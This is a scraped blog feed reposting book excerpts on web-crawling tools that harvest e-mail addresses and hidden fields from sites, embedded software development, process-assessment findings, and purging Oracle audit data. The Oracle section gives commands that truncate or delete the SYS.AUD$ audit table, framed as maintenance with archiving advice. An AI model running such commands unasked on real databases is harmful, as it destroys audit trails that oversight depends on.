/&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC"&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;/table&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4070927613738532416?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4070927613738532416/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/every-site-can-benefit-from-wso.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4070927613738532416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4070927613738532416'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/every-site-can-benefit-from-wso.html' title='Every Site Can Benefit from WSO'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-7818426516056018301</id><published>2009-11-13T07:49:00.035-08:00</published><updated>2009-11-13T07:49:42.247-08:00</updated><title type='text'>Sam Spade, Black Widow, and Teleport Pro</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;div class=Section1&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span lang=EN-GB style='font-size:15.0pt;font-family:Arial'&gt;Sam Spade,&lt;br /&gt;Black Widow, and Teleport Pro&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;The &lt;span class=docemphasis1&gt;wget&lt;/span&gt;&lt;br /&gt;retriever and &lt;span class=docemphasis1&gt;grep&lt;/span&gt; are powerful tools for&lt;br /&gt;automated source sifting. At times, we also use GUI-driven tools such as Sam&lt;br /&gt;Spade, Black Widow, and Teleport Pro for crawling and analyzing Web sites. The&lt;br /&gt;main drawback of &lt;span class=docemphasis1&gt;wget&lt;/span&gt; is that it isn't&lt;br /&gt;multithreaded. Web crawlers such as Black Widow from SoftByteLabs (&lt;/span&gt;&lt;span lang=EN-GB&lt;br /&gt;style='color:#003399'&gt;http://www.softbytelabs.com&lt;/span&gt;&lt;span lang=EN-GB&gt;)&lt;br /&gt;and Teleport Pro by Tennyson Maxwell (&lt;/span&gt;&lt;span lang=EN-GB style='color:#003399'&gt;http://www.tenmax.com&lt;/span&gt;&lt;span&lt;br /&gt;lang=EN-GB&gt;) are excellent multithreaded crawler programs that run on Windows. However,&lt;br /&gt;neither have the capability to search mirrored HTML code. For that, we use the&lt;br /&gt;Windows' &lt;span class=docemphasis1&gt;findstr&lt;/span&gt; utility.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;Sam Spade v1.14 from Blighty Design, Inc. (&lt;/span&gt;&lt;span lang=EN-GB&lt;br /&gt;style='color:#003399'&gt;http://www.samspade.org&lt;/span&gt;&lt;span lang=EN-GB&gt;)&lt;br /&gt;features a Web crawler tool along with options to search for patterns and elements&lt;br /&gt;such as e-mail addresses within downloaded HTML code. &lt;/span&gt;&lt;span&lt;br /&gt;lang=EN-GB style='color:#003399'&gt;Figure 7-4&lt;/span&gt;&lt;span lang=EN-GB&gt; shows&lt;br /&gt;Sam Spade's Web crawler options.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;lang=EN-GB style='font-size:10.5pt;font-family:Arial'&gt;Figure 7-4. Sam Spade Web&lt;br /&gt;crawler options&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span&lt;br /&gt;lang=EN-GB style='color:#003399'&gt;Figure 7-5&lt;/span&gt;&lt;span lang=EN-GB&gt; shows&lt;br /&gt;the output produced by Sam Spade: hyperlinks, e-mail addresses, and hidden&lt;br /&gt;fields extracted from http://www.acme-art.com.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;lang=EN-GB style='font-size:10.5pt;font-family:Arial'&gt;Figure 7-5. Sam Spade run&lt;br /&gt;against www.acme-art.com&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=MsoNormal&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-7818426516056018301?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/7818426516056018301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/sam-spade-black-widow-and-teleport-pro.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7818426516056018301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7818426516056018301'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/sam-spade-black-widow-and-teleport-pro.html' title='Sam Spade, Black Widow, and Teleport Pro'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-7485788049176310785</id><published>2009-11-13T07:49:00.033-08:00</published><updated>2009-11-13T07:49:39.334-08:00</updated><title type='text'>Section 1.4.  Life As an Embedded Software Developer</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;      &lt;H3 id="title-IDAUD00O" class="docSection1Title"&gt;1.4. Life As an Embedded Software Developer&lt;/h3&gt;&lt;br /&gt;      &lt;p class="docText"&gt;Let's &lt;br /&gt;            now take a brief look at some of the qualities of embedded software that set embedded developers apart from other types of software developers. An embedded software developer is the one who gets her hands dirty by getting down close to the hardware.&lt;/P&gt;&lt;br /&gt;      &lt;p class="docText"&gt;&lt;br /&gt;            Embedded software development, in most cases, requires close interaction with the physical worldthe hardware platform. We say &amp;quot;in most cases&amp;quot; because there are very large embedded systems that require individuals to work solely on the application-layer software for the system. These application developers typically do not have any interaction with the hardware. When designed properly, the hardware device drivers are abstracted away from the actual hardware so that a developer writing software at the application level doesn't know how a string gets output to the display, just that it happens when a particular routine is called with the proper parameters.&lt;/p&gt;&lt;br /&gt;      &lt;dl class="docList"&gt;&lt;br /&gt;          &lt;dt&gt;&lt;BR&gt;&lt;p&gt;&lt;I&gt;&lt;span class="docPubcolor"&gt;Hardware knowledge&lt;/span&gt;&lt;/i&gt;&lt;/P&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;The embedded software developer must become intimately familiar with the integrated circuits, the boards and buses, and the attached devices used in order to write solid embedded software (also called &lt;span class="docEmphasis"&gt;&lt;br /&gt;                        firmware&lt;/span&gt;). Embedded developers shouldn't be afraid to dive into the schematics, grab an oscilloscope probe, and start poking around the circuit to find out what is going on.&lt;/P&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;br /&gt;          &lt;dt&gt;&lt;BR&gt;&lt;p&gt;&lt;I&gt;&lt;span class="docPubcolor"&gt;Efficient code&lt;/span&gt;&lt;/I&gt;&lt;/P&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;Because &lt;br /&gt;                     embedded systems are typically designed with the least powerful and most cost-effective processor that meets the performance requirements of the system, embedded software developers must make every line of code count. The ability to write efficient code is a great quality to possess as a firmware developer.&lt;/p&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;br /&gt;          &lt;dt&gt;&lt;BR&gt;&lt;p&gt;&lt;i&gt;&lt;span class="docPubcolor"&gt;Peripheral interfaces&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;At &lt;span class="docEmphasis"&gt;&lt;br /&gt;                        &lt;br /&gt;                     &lt;/span&gt;the lowest level, firmware is very specialized, because each component or circuit has its own activity to perform and, furthermore, its own way of performing that activity. Embedded developers need to know how to communicate with the different devices or &lt;span class="docEmphasis"&gt;peripherals&lt;/span&gt; in order to have full control of the devices in the system. Reacting to stimuli from external peripherals is a large part of embedded software development.&lt;/P&gt;&lt;br /&gt;            &lt;p class="docList"&gt;For example, in one microwave oven, the firmware might get the data from a temperature sensor by reading an 8-bit register in an external analog-to-digital converter; in another system, the data might be extracted by controlling a serial bus that interfaces to the external sensor circuit via a single wire.&lt;/P&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;br /&gt;          &lt;dt&gt;&lt;br&gt;&lt;p&gt;&lt;i&gt;&lt;span class="docPubcolor"&gt;Robust code&lt;/span&gt;&lt;/i&gt;&lt;/P&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;There &lt;br /&gt;                     are expectations that embedded systems will run for years in most cases. This is not a typical requirement for software applications written for a PC or Mac. Now, there are exceptions. However, if you had to keep unplugging your microwave in order to get it to heat up your lunch for the proper amount of time, it would probably be the last time you purchased a product from that company.&lt;/p&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;br /&gt;          &lt;dt&gt;&lt;BR&gt;&lt;p&gt;&lt;I&gt;&lt;span class="docPubcolor"&gt;Minimal resources&lt;/span&gt;&lt;/i&gt;&lt;/P&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;Along the same lines of creating a more robust system, another large differentiator between embedded software and other types of software is resource constraints. The rules for writing firmware are different from the rules for writing software for a PC. Take memory allocation, for instance. An application for a modern PC can take for granted that it will have access to practically limitless resources. But in an embedded system, you will run out of memory if you do not plan ahead and design the software properly.&lt;/P&gt;&lt;br /&gt;            &lt;p class="docList"&gt;An embedded software developer must closely manage resources, from memory to processing power, so that the system operates up to specification and so failures don't occur. For example, using standard dynamic memory allocation functions can cause fragmentation, and eventually the system may cease to operate. This requires a reboot since you have no place to store incoming data.&lt;/P&gt;&lt;br /&gt;            &lt;p class="docList"&gt;Quite often, in embedded software, a developer will allocate all memory needed by the system at initialization time. This is safer than using dynamic memory allocation, though it cannot always be done.&lt;/p&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;br /&gt;          &lt;dt&gt;&lt;br&gt;&lt;p&gt;&lt;i&gt;&lt;span class="docPubcolor"&gt;Reusable software&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;As we mentioned before&lt;br /&gt;                     , &lt;span class="docEmphasis"&gt;code portability&lt;/span&gt; or &lt;span class="docEmphasis"&gt;code reuse&lt;/span&gt;writing software so that it can be moved from hardware platform to hardware platformis very useful to aid transition to new projects. This cannot always be done; we have seen how individual each embedded system is. Throughout this book, we will look at basic methods to ensure that your embedded code can be moved more easily from project to project. So if your next project uses an LCD for which you've previously developed a driver, you can drop in the old code and save some precious time in the schedule.&lt;/p&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;br /&gt;          &lt;dt&gt;&lt;br&gt;&lt;p&gt;&lt;i&gt;&lt;span class="docPubcolor"&gt;Development tools&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;/dt&gt;&lt;br /&gt;          &lt;dd&gt;&lt;br /&gt;            &lt;p class="docList"&gt;The tools you will use throughout your career as an embedded developer will vary from company to company and often from project to project. This means you will need to learn new tools as you continue in your career. Typically, these tools are not as powerful or as easy to use as those used in PC software development.&lt;/P&gt;&lt;br /&gt;            &lt;p class="docList"&gt;The debugging tools you might come across could vary from a simple LED to a full-blown &lt;span class="docEmphasis"&gt;&lt;br /&gt;                        &lt;br /&gt;                        in-circuit emulator&lt;/span&gt; (ICE). This requires you, as the firmware developer, and the one responsible for debugging your code, to be very resourceful and have a bag of techniques you can call upon when the debug environment is lacking. Throughout the book, we will present different &amp;quot;low-level software tools&amp;quot; you can implement with little impact on the hardware design.&lt;/p&gt;&lt;br /&gt;          &lt;/dd&gt;&lt;br /&gt;        &lt;/dl&gt;&lt;br /&gt;      &lt;p class="docText"&gt;These are just a few qualities that separate embedded software developers from the rest of the pack. We will investigate these and other techniques that are specific to embedded software development as we continue.&lt;br /&gt;            &lt;br /&gt;         &lt;/P&gt;&lt;br /&gt;    &lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-7485788049176310785?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/7485788049176310785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-14-life-as-embedded-software.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7485788049176310785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7485788049176310785'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-14-life-as-embedded-software.html' title='Section 1.4.  Life As an Embedded Software Developer'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4343718249873046912</id><published>2009-11-13T07:49:00.031-08:00</published><updated>2009-11-13T07:49:37.059-08:00</updated><title type='text'>Section 11.1.&amp;nbsp; Consolidating Draft Findings</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;/div&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;h3 class="docSection1Title"&gt;11.1. Consolidating Draft Findings&lt;/h3&gt;&lt;br /&gt;&lt;p class="docText"&gt;Draft findings are a provisional description of all the strengths and weaknesses of the organization's assessed processes, and they constitute the end product of the assessment team's data-gathering and consolidation activities.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;The team should especially highlight those weaknesses that represent a real risk to the organization. A vital goal of any assessment is to help an organization identify its most important weaknesses.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;In its consolidation of draft findings, the assessment team refines its accumulated observations by:&lt;/p&gt;&lt;br /&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;Rewording &amp;quot;weakness&amp;quot; observation statements to maximize their validity by clarifying them, eliminating judgmental terms, using the organization's language as much as possible, and eliminating attributions. Most of this has usually been done during day-to-day consolidation.&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;Consolidating multiple findings classified as strengths and weaknesses into a categorical statement relevant to each KPA/PA and its goals.&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;Stepping back, thinking about the main intent of a given KPA/PA and its goals, and then deciding which weakness statements have genuine relevance to these goals.&lt;/p&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docList"&gt;Communicating to the organization the activities that must be improved if the organization is to succeed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Listing strengths and weaknesses for each KPA/PA and for non-model findings. Especially where there is a possibility that a KPA/PA might not be satisfied, there must be a separate item to say so and to identify what weaknesses are involved.&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;Extracting and summarizing valid observations classified as strengths and weaknesses from the individual KPA/PA worksheets. It is necessary at this point to reword and/or combine observations to achieve an appropriate degree of general relevance.&lt;/p&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;Note: If the statements are too stuffed with nonessential details, senior management will never get the message.&lt;/P&gt;&lt;/li&gt;&lt;/UL&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Conducting a review to see if there is still any information needed. (This is possible but unlikely at this point in an assessment.)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Compiling a list of information still needed for KPA/PA and for non-model findings.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Extracting and summarizing valid observations associated with non-model findings and incorporating them into a separate list.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docList"&gt;Non-model observations and suggestions sometimes turn out to be the most important things that come out of an assessment. They include comments on the underlying culture of the organization and should in no case be downplayed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;br /&gt;&lt;p class="docText"&gt;Usually, only the strengths and weaknesses that the team has agreed on as valid in the last consolidation session are retained.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;11.1.1. Draft Findings PresentationA Sample Template&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;The following is a sample of items typically covered in a draft findings presentation. Each assessment team will create draft findings in the format appropriate to the organization.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;Draft Findings PresentationA Sample Template&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;table cellspacing="0" class="allBorders" border="1" RULES="none" cellpadding="5"&gt;&lt;colgroup&gt;&lt;col width="550"&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;/thead&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;ul&gt;&lt;LI&gt;&lt;p class="docList"&gt;Title of slide:&lt;/p&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;Name of assessed organization.&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;Assessment dates.&lt;/p&gt;&lt;/li&gt;&lt;/UL&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;Model scope:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docList"&gt;Indicate the process areas included in the assessment data collection. Each process area investigated during the assessment is included in the presentation. The process areas are grouped by Maturity Levels.&lt;/P&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;For each process area, include:&lt;/P&gt;&lt;ul&gt;&lt;LI&gt;&lt;p class="docList"&gt;The description of process area.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Strengths observed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Weaknesses observed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Multiple slides may be created for each process area.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Non-model findings:&lt;/P&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;Indicate issues identified that impact the organization that might not be related to the model.&lt;/p&gt;&lt;/LI&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;Questions and comments are encouraged from participants. Facilitator accepts comments; team members record comments. No apologies or promises to change the finds are made. Comments are considered when the team concludes all draft findings presentations, and the team reconvenes.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;/td&gt;&lt;/TR&gt;&lt;/table&gt;&lt;/p&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/UL&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;/div&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4343718249873046912?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4343718249873046912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-111-consolidating-draft.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4343718249873046912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4343718249873046912'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-111-consolidating-draft.html' title='Section 11.1.&amp;amp;nbsp; Consolidating Draft Findings'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-6260734681124249170</id><published>2009-11-13T07:49:00.029-08:00</published><updated>2009-11-13T07:49:35.210-08:00</updated><title type='text'>10.7 Purging Audit Information</title><content type='html'>&lt;br /&gt;&lt;TABLE class=navtopbg cellSpacing=0 cellPadding=5 width="100%" border=0&gt;&lt;br /&gt;&lt;TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=white border=0&gt;&lt;br /&gt;  &lt;TBODY&gt;&lt;br /&gt;  &lt;TR&gt;&lt;br /&gt;    &lt;TD&gt;&lt;br /&gt;      &lt;TABLE cellSpacing=0 cellPadding=0 width="100%" border=0&gt;&lt;br /&gt;        &lt;TBODY&gt;&lt;br /&gt;        &lt;TR&gt;&lt;br /&gt;          &lt;TD class=headingsubbarbg align=left width="15%"&gt;&lt;/TD&gt;&lt;br /&gt;          &lt;TD class=headingsubbarbg align=center &gt;&lt;FONT size=-3 color=#778899&gt;for Ru-Brd &amp; DownSky&lt;/FONT&gt;&lt;/TD&gt;          &lt;br /&gt;          &lt;TD class=headingsubbarbg align=right width="15%"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;FONT &lt;br /&gt;size=+0&gt;&lt;br /&gt;      &lt;H3&gt;10.7 Purging Audit Information&lt;/H3&gt;&lt;br /&gt;      &lt;P&gt;As we've mentioned several times in &lt;br /&gt;      this chapter, you need to closely monitor the SYS.AUD$ table as long as &lt;br /&gt;      any form of auditing is occurring in the database. This is the only data &lt;br /&gt;      dictionary table from which Oracle permits DBAs to delete information. The &lt;br /&gt;      wise DBA will archive the &lt;br /&gt;      information from this table before removing the data. One way to archive &lt;br /&gt;      data is to create a summary table and move the information of interest &lt;br /&gt;      into the summary table before removing the data from the SYS.AUD$ table. &lt;br /&gt;      Since the auditing views rely on information from the SYS.AUD$ table, &lt;br /&gt;      remember that when you remove data from this table, the data will disappear from the audit &lt;br /&gt;      views as well. Another way to archive the data from this table is to &lt;br /&gt;      create a copy of the table in another schema and then export that schema. &lt;br /&gt;      Figure &lt;br /&gt;      10.2 shows a possible purge cycle.&lt;/P&gt;&lt;br /&gt;      &lt;CENTER&gt;&lt;br /&gt;      &lt;H5&gt;Figure 10.2. Data collection and summary cycle&lt;/H5&gt;&lt;/CENTER&gt;&lt;br /&gt;      &lt;H4&gt;10.7.1 Removing All the Data from SYS.AUD$&lt;/H4&gt;&lt;br /&gt;      &lt;P&gt;You can remove &lt;I&gt;all&lt;/I&gt; the data from the SYS.AUD$ table by issuing &lt;br /&gt;      the statement:&lt;/P&gt;&lt;PRE class=monofont&gt;TRUNCATE TABLE sys.aud$;&lt;/PRE&gt;&lt;br /&gt;      &lt;P&gt;or alternatively:&lt;/P&gt;&lt;PRE class=monofont&gt;DELETE FROM sys.aud$;&lt;/PRE&gt;&lt;br /&gt;      &lt;P&gt;Why would you use DELETE rather than TRUNCATE? As rows of information &lt;br /&gt;      are inserted into a table, Oracle uses a mechanism called the "high-water &lt;br /&gt;      mark" to indicate the location of the last row of data in the table. This &lt;br /&gt;      mark tells Oracle how many blocks to examine during a full table scan. &lt;br /&gt;      When you issue a DELETE statement, Oracle marks the row or rows you have &lt;br /&gt;      specified as deleted but does not actually erase the rows from the table. &lt;br /&gt;      From a performance perspective, if you merely delete all the rows from the &lt;br /&gt;      audit table, you will not reset the high-water mark for the table. If a &lt;br /&gt;      full table scan is required to obtain data from the table, performance &lt;br /&gt;      might slow down substantially as Oracle examines every block of the table &lt;br /&gt;      &amp;#8212; even the "empty" blocks ( those blocks containing rows marked as &lt;br /&gt;      deleted).&lt;/P&gt;&lt;br /&gt;      &lt;P&gt;If you issue the TRUNCATE command, on the other hand, the high-water &lt;br /&gt;      mark is reset to the first block in the table and performance will be &lt;br /&gt;      improved.&lt;/P&gt;&lt;br /&gt;      &lt;H4&gt;10.7.2 Removing Selected Data from SYS.AUD$&lt;/H4&gt;&lt;br /&gt;      &lt;P&gt;If you want to retain specific data in the table but want to ensure &lt;br /&gt;      that the table is kept to a manageable size, you can create a script to &lt;br /&gt;      delete only selected rows from the SYS.AUD$ table. You might base the &lt;br /&gt;      deletions on a specific range of dates or by a specific group of actions &lt;br /&gt;      or users.&lt;/P&gt;&lt;br /&gt;      &lt;P&gt;As we described in the earlier "Creating a summary table" section, you &lt;br /&gt;      may want to retain the information from the SYS.AUD$ table into a summary &lt;br /&gt;      table before you delete any rows. &lt;/P&gt;&lt;/FONT&gt;&lt;br /&gt;      &lt;P&gt;&lt;br /&gt;      &lt;TABLE width="100%" border=0&gt;&lt;br /&gt;        &lt;TBODY&gt;&lt;br /&gt;        &lt;TR vAlign=top&gt;&lt;br /&gt;      &lt;TABLE cellSpacing=0 cellPadding=0 width="100%" border=0&gt;&lt;br /&gt;        &lt;TBODY&gt;&lt;br /&gt;        &lt;TR&gt;&lt;br /&gt;          &lt;TD class=headingsubbarbg align=left 